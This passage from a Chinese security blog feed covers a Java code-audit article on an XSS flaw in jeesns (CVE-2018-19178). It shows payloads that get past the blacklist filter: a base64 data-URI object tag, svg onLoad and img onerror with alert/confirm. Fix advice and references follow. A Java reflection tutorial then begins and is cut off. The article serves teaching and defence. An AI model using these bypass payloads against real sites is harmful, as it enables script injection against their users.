&#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">通过request获取到 content 的值后，调用 save 函数保存，而request 使用了<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">XssHttpServletRequestWrapper</code>过滤器，通过<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">cleanXSS </code>去过滤传入进来的参数，综上，其实最关键的地方就在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">XssHttpServletRequestWrapper.java </code>文件，如果绕过了 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">cleanxss</code>函数，那么就可以进行 XSS 攻击。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">下面来仔细看看这个函数。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">首先对传入的参数进行相关的字符处理，然后采用标签黑名单的方式过滤关键字，可以看到过滤了我们经常使用的<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">alert</code>、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">onerror</code>等函数。这种方式不是绝对安全的方式，很容易绕过，比如：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: inherit;word-break: normal;">&lt;object data=&#34;data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=&#34;&gt;<br/></code></pre><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5262645914396887" data-s="300,640" style="" data-type="png" data-w="2056" src="https://wechat2rss.xlab.app/img-proxy/?k=ee6016f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1v44ia2Palq0YaPiaQLjNNn6DCREk2dGcicEBNTw1x5nabH3x7icmtzYuAw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">还比如：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">svg</span>/<span style="box-sizing: border-box;color: rgb(129, 162, 190);">onLoad</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">confirm(1)</span>&gt;</span><br/><span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">img</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">src</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;x&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">ONERROR</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">confirm(0)</span>&gt;</span><br/></code></pre><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6138952164009112" data-s="300,640" style="" data-type="png" data-w="1756" src="https://wechat2rss.xlab.app/img-proxy/?k=fefeb0d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB13ZJgx3EIS1f36VhIicwDusU0WwmGt19QkhFPxbbMQiaFs2r9TlJia4JcA%2F640%3Fwx_fmt%3Dpng"/></p><p><span name="menu_index_15" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">4、修复方案</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">官网更新到了v1.4的版本，但是取消了开源。因此没法看官网怎么修复的，这里给出自己的修复意见。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、对于黑名单过滤的方式，从长远的角度来看，是不可取的，因为标签太多，可能利用的标签也很多，一旦过滤不全，就导致功夫白费</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、使用上文中提到的修复方式，包括全局过滤器、xssProtect以及相关的 commons.lang包中的过滤函数等。</p><p><span name="menu_index_16" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x05 总结</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">本文主要讨论了 Java 中的 XSS 漏洞，包括其原理、简单的 Java 代码示例、修复方案以及 CVE 实例，希望对初入Java代码审计的朋友有所帮助。</p><p><span name="menu_index_17" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x06 参考</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://www.cnblogs.com/mumu122GIS/p/10161725.html" target="_blank">https://www.cnblogs.com/mumu122GIS/p/10161725.html</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://www.cnblogs.com/shawWey/p/8480452.html" target="_blank">https://www.cnblogs.com/shawWey/p/8480452.html</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://www.iteye.com/blog/liuzidong-1744023" target="_blank">https://www.iteye.com/blog/liuzidong-1744023</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://code.google.com/archive/p/xssprotect/wikis/HowTouse.wiki" target="_blank">https://code.google.com/archive/p/xssprotect/wikis/HowTouse.wiki</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://www.cnblogs.com/soundcode/p/6595760.html" target="_blank">https://www.cnblogs.com/soundcode/p/6595760.html</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://commons.apache.org/proper/commons-lang/" target="_blank">https://commons.apache.org/proper/commons-lang/</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="http://commons.apache.org/proper/commons-lang/javadocs/api-2.6/org/apache/commons/lang/StringEscapeUtils.html" target="_blank">http://commons.apache.org/proper/commons-lang/javadocs/api-2.6/org/apache/commons/lang/StringEscapeUtils.html</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://github.com/zchuanzhao/jeesns/tree/master_v1.3" target="_blank">https://github.com/zchuanzhao/jeesns/tree/master_v1.3</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19178" target="_blank">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19178</a></p><p><br/></p>



<p><a href="https://www.cnpanda.net/codeaudit/605.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c8781a6b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247483759%26idx%3D1%26sn%3D534c9ee15a7a5432c67f3305d7d120ea%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 07 May 2021 00:00:00 +0800</pubDate>
    </item>
    <item>
      <title>java反射机制小结</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247483736&amp;idx=1&amp;sn=5033d99e9db8dae3cd3078c5d65ad896</link>
      <description>带你了解 Java 反射知识</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-05-06 11:03</span> <span style="display: inline-block;"></span>
</p>

<p>带你了解 Java 反射知识</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e759c1ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1bxMRbHjbdYIJDwrhoEo7cVqZLAWdliaFBF3HkQYqxD1YMAS2lBHU89g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x01 什么是反射</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">反射 (Reflection) 是 Java 的特征之一，在C/C++中是没有反射的，反射的存在使得运行中的 Java 程序能够获取自身的信息，并且可以操作类或对象的内部属性。那么什么是反射呢？</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">对此， Oracle 官方有着相关解释：</p><blockquote style="box-sizing: border-box;margin-right: 3em;margin-bottom: 1.2em;margin-left: 2em;padding-top: 0px;padding-left: 1em;color: rgb(153, 153, 153);border-left-width: 1px;border-left-color: rgb(26, 188, 156);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);">“Reflection enables Java code to discover information about the<br style="box-sizing: border-box;"/>fields, methods and constructors of loaded classes, and to use<br style="box-sizing: border-box;"/>reflected fields, methods, and constructors to operate on their<br style="box-sizing: border-box;"/>underlying counterparts, within security restrictions.”<br style="box-sizing: border-box;"/>（反射使Java代码能够发现有关已加载类的字段、方法和构造函数的信息，并在安全限制内使用反射的字段、方法和构造函数对其底层对应的对象进行操作。）</p></blockquote><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">简单来说，通过反射，我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。同样的，JAVA的反射机制也是如此，在运行状态中，通过 Java 的反射机制，对于任意一个类，我们都能够判断一个对象所属的类；对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性；这种动态获取的信息以及动态调用对象的方法的功能称为Java语言的反射机制。</p><p><span name="menu_index_3" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x02 反射的用途</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">反射的用途很广泛，如在我们开发使用到Eclipse、IDEA等开发工具的时候，当我们输入一个对象或类并想调用它的属性或方法时，编译器就会自动列出它的属性或方法，这里用到的便是反射；再如，javaBean和jsp之间的调用，也用到了反射。这些不是反射最主要的用法，反射最重要的用途其实是开发各种通用框架，如我们上文中提到的Spring框架以及ORM框架，都是通过反射机制来实现的。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">反射这个机制其实很有意思，面向不同的人员，其重要程度也大不相同。对与框架开发人员来说，反射虽小但作用非常大，它是各种容器实现的核心。而对于一般的开发者来说，不深入框架开发则用反射用的就会少一点。但总的来说，适当了解框架的底层机制对我们的编程思想，也是非常有帮助的。</p><p><span name="menu_index_4" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x03 反射的基本运用</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">由于Java的大部分应用框架都采用了反射机制，因此掌握好Java反射机制对于我们的代码审计能力有很大的帮助。</p><p><span name="menu_index_5" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h4 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 14px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、获取类对象</h4><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">获取类的对象有很多种，这里提供四种方式：</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>第一种：使用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">forName() </code>方法</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">如果要使用Class类中的方法完成，就需要用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">forName()</code>方法，这种方式只要有类名称即可，更为方便，扩展性更强。如下图所示为获取类对象的示例：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5856662933930571" data-s="300,640" style="" data-type="png" data-w="1786" src="https://wechat2rss.xlab.app/img-proxy/?k=a4861691&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB18SRmfn8cNgRWqb1HyIp36xIALMibLChtCAmp6UFK6QpRVPspKzhG25w%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这种方法其实我们并不陌生，在配置 JDBC 的时候，我们通常这么写，如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.635593220338983" data-s="300,640" style="" data-type="png" data-w="1652" src="https://wechat2rss.xlab.app/img-proxy/?k=2b64d4d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1erlZO3yQiaqL40oMeJHaqgHZaSg6PKFIbCxMuNEOtbgicLkfF29bvoXw%2F640%3Fwx_fmt%3Dpng"/></p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>第二种：直接获取</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">任何数据类型都具备一个静态的属性，可以使用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">.class</code>来获取其对应的Class对象。相对简单，但是还是要明确用到类中的静态成员，如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6605080831408776" data-s="300,640" style="" data-type="png" data-w="1732" src="https://wechat2rss.xlab.app/img-proxy/?k=2a409d45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1CvRTp5A6nLaFWD4tnbIo99S31ayYIIdCUIaJlcibze2pb6qyJlv06zA%2F640%3Fwx_fmt%3Dpng"/></p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>第三种：使用<code 